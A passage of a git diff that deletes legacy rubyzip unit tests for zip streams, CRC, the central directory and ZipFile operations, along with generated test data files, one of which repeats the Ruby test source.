def test_print - $\ = nil # record separator set to nil - @outputStream.print("hello") - assert_equals("hello", @outputStream.buffer) - - @outputStream.print(" world.") - assert_equals("hello world.", @outputStream.buffer) - - @outputStream.print(" You ok ", "out ", "there?") - assert_equals("hello world. You ok out there?", @outputStream.buffer) - - $\ = "\n" - @outputStream.print - assert_equals("hello world. You ok out there?\n", @outputStream.buffer) - - @outputStream.print("I sure hope so!") - assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) - - $, = "X" - @outputStream.buffer = "" - @outputStream.print("monkey", "duck", "zebra") - assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) - - $\ = nil - @outputStream.buffer = "" - @outputStream.print(20) - assert_equals("20", @outputStream.buffer) - end - - def test_printf - @outputStream.printf("%d %04x", 123, 123) - assert_equals("123 007b", @outputStream.buffer) - end - - def test_putc - @outputStream.putc("A") - assert_equals("A", @outputStream.buffer) - @outputStream.putc(65) - assert_equals("AA", @outputStream.buffer) - end - - def test_puts - @outputStream.puts - assert_equals("\n", @outputStream.buffer) - - @outputStream.puts("hello", "world") - assert_equals("\nhello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts("hello\n", "world\n") - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"]) - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(16, 20, 50, "hello") - assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) - end -end - - -module CrcTest - def runCrcTest(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = AbstractOutputStreamTest::TestOutputStream.new - - deflater = compressorClass.new(fakeOut) - deflater << str - assert_equals(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < RUNIT::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equals(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equals(compressor.size, t1.size) - - compressor << t2 - assert_equals(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equals(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - runCrcTest(PassThruCompressor) - end -end - -class DeflaterTest < RUNIT::TestCase - include CrcTest - - def test_outputOperator - txt = loadFile("ziptest.rb") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equals(txt, inflatedTxt) - end - - private - def loadFile(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equals(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.read - } - end - - def test_crc - runCrcTest(Deflater) - end -end - -class ZipOutputStreamTest < RUNIT::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zipName) - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - zos.close - assertTestZipContents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zipName) { - |zos| - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - } - assertTestZipContents(TEST_ZIP) - end - - def test_writingToClosedStream - assertIOErrorInClosedStream { |zos| zos << "hello world" } - assertIOErrorInClosedStream { |zos| zos.puts "hello world" } - assertIOErrorInClosedStream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") - end - end - - def assertIOErrorInClosedStream - assert_exception(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def writeTestZip(zos) - TEST_ZIP.entryNames.each { - |entryName| - zos.putNextEntry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compareEnumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, index| - return false unless yield(element, otherAsArray[index]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < RUNIT::TestCase - - def test_readFromStream - File.open("testDirectory.bin", "rb") { - |file| - entry = ZipEntry.readCDirEntry(file) - - assert_equals("longAscii.txt", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(106490, entry.size) - assert_equals(3784, entry.compressedSize) - assert_equals(0xfcd1799c, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("empty.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(0, entry.size) - assert_equals(0, entry.compressedSize) - assert_equals(0x0, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("short.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(6, entry.size) - assert_equals(6, entry.compressedSize) - assert_equals(0xbb76fe69, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("longBinary.bin", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(1000024, entry.size) - assert_equals(70847, entry.compressedSize) - assert_equals(0x10da7d59, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.readCDirEntry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - -class ZipCentralDirectoryTest < RUNIT::TestCase - - def test_readFromStream - File.open(TestZipFile::TEST_ZIP2.zipName, "rb") { - |zipFile| - cdir = ZipCentralDirectory.readFromStream(zipFile) - - assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) - assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) - assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("ziptest.rb", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.readFromStream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.readFromStream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeToStream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.writeToStream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.readFromStream(f) } - - assert_equals(cdir.entries, cdirReadback.entries) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equals(cdir1, cdir1) - assert_equals(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < RUNIT::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zipName) - @testEntryNameIndex=0 - end - - def nextTestEntryName - retVal=TestZipFile::TEST_ZIP2.entryNames[@testEntryNameIndex] - @testEntryNameIndex+=1 - return retVal - end - - def test_entries - assert_equals(TestZipFile::TEST_ZIP2.entryNames, @zipFile.entries.map {|e| e.name} ) - end - - def test_each - @zipFile.each { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_foreach - ZipFile.foreach(TestZipFile::TEST_ZIP2.zipName) { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStream - @zipFile.each { - |entry| - assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStreamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.getInputStream(fileAndEntryName) { - |zis| - assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -class CommonZipFileFixture < RUNIT::TestCase - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "4entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - end -end - -class ZipFileTest < CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals(comment, zfRead.comment) - assert_equals(0, zfRead.entries.length) - end - - def test_add - srcFile = "ziptest.rb" - entryName = "newEntryName.rb" - assert(File.exists? srcFile) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals("", zfRead.comment) - assert_equals(1, zfRead.entries.length) - assert_equals(entryName, zfRead.entries.first.name) - AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zipName) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "ziptest.rb") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assertContains(zf, replacedEntry, "ziptest.rb") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zipName) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.isDirectory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entryNames - - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entryNames - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include? entryToRename) - - newName = "changed name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include? newName) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.map { |e| e.name }.include? newName) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, zf.entries.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_at(0) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - targetEntry = "targetEntryName" - zf = ZipFile.new(TEST_ZIP.zipName) - assert(! zf.entries.include?(nonEntry)) - assert_exception(ZipNoSuchEntryError) { - zf.rename(nonEntry, targetEntry) - } - zf.commit - assert(! zf.entries.include?(targetEntry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entryNames - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - unchangedEntries = TEST_ZIP.entryNames.dup - entryToReplace = unchangedEntries.delete_at(2) - newEntrySrcFilename = "ziptest.rb" - - zf = ZipFile.new(TEST_ZIP.zipName) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) - zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") - } - } - end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zipName) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zipName) - zf.add("okToDelete.txt", "okToDelete.txt") - assertContains(zf, "okToDelete.txt") - zf.commit - File.move("okToDelete.txt", "okToDeleteMoved.txt") - assertContains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zipName) -# zf.close -# assert_exception(IOError) { -# zf.extract(TEST_ZIP.entryNames.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assertContains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - - assertContains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assertNotContains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assertContains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) - } - assertNotContains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assertNotContains(zf, TestFiles::ASCII_TEST_FILES[0]) - assertContains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assertContains(zf, filename) - } - - assertContains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assertContains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assertEntryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assertNotContains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entryNames.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - assert(File.exists? EXTRACTED_FILENAME) - AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_exception(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equals(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { gotCalled = true; true } - } - - assert(gotCalled) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipNoSuchEntryError) { zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_exception(ZipNoSuchEntryError) { - zf = ZipFile.new(TEST_ZIP.zipName) - nonEntry = "hotdog-diddelidoo" - assert(! zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def openZip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zipName, &aProc) - end - - def extractTestDir(&aProc) - openZip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end - - def test_extractDirectory - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_exception(ZipDestinationFileExistsError) { extractTestDir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extractTestDir { - |entry, destPath| - gotCalled = true - assert_equals(TEST_OUT_NAME, destPath) - assert(entry.isDirectory) - true - } - assert(gotCalled) - assert(File.directory? TEST_OUT_NAME) - end -end - - -TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -exit if ARGV.index("recreateonly") != nil - -#require 'runit/cui/testrunner' -#RUNIT::CUI::TestRunner.run(ZipFileTest.suite) - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/data/generated/5entry.zip b/lib/zip/test/data/generated/5entry.zip deleted file mode 100644 index ef580052ed..0000000000 Binary files a/lib/zip/test/data/generated/5entry.zip and /dev/null differ diff --git a/lib/zip/test/data/generated/empty.zip b/lib/zip/test/data/generated/empty.zip deleted file mode 100644 index 15cb0ecb3e..0000000000 Binary files a/lib/zip/test/data/generated/empty.zip and /dev/null differ diff --git a/lib/zip/test/data/generated/emptytestdir/.keep b/lib/zip/test/data/generated/emptytestdir/.keep deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/lib/zip/test/data/generated/longAscii.txt b/lib/zip/test/data/generated/longAscii.txt deleted file mode 100644 index 91e1cc1ce0..0000000000 --- a/lib/zip/test/data/generated/longAscii.txt +++ /dev/null @@ -1,4512 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'rubyunit' -require 'zip' - -include Zip - -Dir.chdir "test" - -class AbstractInputStreamTest < RUNIT::TestCase - # AbstractInputStream subclass that provides a read method - - TEST_LINES = [ "Hello world#{$/}", - "this is the second line#{$/}", - "this is the last line"] - TEST_STRING = TEST_LINES.join - class TestAbstractInputStream - include AbstractInputStream - def initialize(aString) - @contents = aString - @readPointer = 0 - end - - def read(charsToRead) - retVal=@contents[@readPointer, charsToRead] - @readPointer+=charsToRead - return retVal - end - - def produceInput - read(100) - end - - def inputFinished? - @contents[@readPointer] == nil - end - end - - def setup - @io = TestAbstractInputStream.new(TEST_STRING) - end - - def test_gets - assert_equals(TEST_LINES[0], @io.gets) - assert_equals(TEST_LINES[1], @io.gets) - assert_equals(TEST_LINES[2], @io.gets) - assert_equals(nil, @io.gets) - end - - def test_getsMultiCharSeperator - assert_equals("Hell", @io.gets("ll")) - assert_equals("o world#{$/}this is the second l", @io.gets("d l")) - end - - def test_each_line - lineNumber=0 - @io.each_line { - |line| - assert_equals(TEST_LINES[lineNumber], line) - lineNumber+=1 - } - end - - def test_readlines - assert_equals(TEST_LINES, @io.readlines) - end - - def test_readline - test_gets - begin - @io.readline - fail "EOFError expected" - rescue EOFError - end - end -end - -class ZipEntryTest < RUNIT::TestCase - TEST_ZIPFILE = "someZipFile.zip" - TEST_COMMENT = "a comment" - TEST_COMPRESSED_SIZE = 1234 - TEST_CRC = 325324 - TEST_EXTRA = "Some data here" - TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED - TEST_NAME = "entry name" - TEST_SIZE = 8432 - TEST_ISDIRECTORY = false - - def test_constructorAndGetters - entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) - - assert_equals(TEST_COMMENT, entry.comment) - assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) - assert_equals(TEST_CRC, entry.crc) - assert_equals(TEST_EXTRA, entry.extra) - assert_equals(TEST_COMPRESSIONMETHOD, entry.compressionMethod) - assert_equals(TEST_NAME, entry.name) - assert_equals(TEST_SIZE, entry.size) - assert_equals(TEST_ISDIRECTORY, entry.isDirectory) - end - - def test_equality - entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) - entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) - entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) - entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) - - assert_equals(entry1, entry1) - assert_equals(entry1, entry2) - - assert(entry2 != entry3) - assert(entry3 != entry4) - assert(entry4 != entry5) - assert(entry5 != entry6) - assert(entry6 != entry7) - assert(entry7 != entry8) - - assert(entry7 != "hello") - assert(entry7 != 12) - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < RUNIT::TestCase - def test_readLocalEntryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zipName) { - |file| - entry = ZipEntry.readLocalEntry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressedSize) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equal(TestZipFile::TEST_ZIP3.entryNames[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entryNames[0]), entry.size) - assert(! entry.isDirectory) - } - end - - def test_readLocalEntryFromNonZipFile - File.open("ziptest.rb") { - |file| - assert_equals(nil, ZipEntry.readLocalEntry(file)) - } - end - - def test_readLocalEntryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zipName) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.readLocalEntry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) - entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") - compareLocalEntryHeaders(entry, entryReadLocal) - compareCDirEntryHeaders(entry, entryReadCentral) - end - - private - def compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.compressedSize , entry2.compressedSize) - assert_equals(entry1.crc , entry2.crc) - assert_equals(entry1.extra , entry2.extra) - assert_equals(entry1.compressionMethod, entry2.compressionMethod) - assert_equals(entry1.name , entry2.name) - assert_equals(entry1.size , entry2.size) - assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compareCDirEntryHeaders(entry1, entry2) - compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.comment, entry2.comment) - end - - def writeToFile(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.writeLocalEntry(f) } - File.open(centralFileName, "wb") { |f| entry.writeCDirEntry(f) } - end - 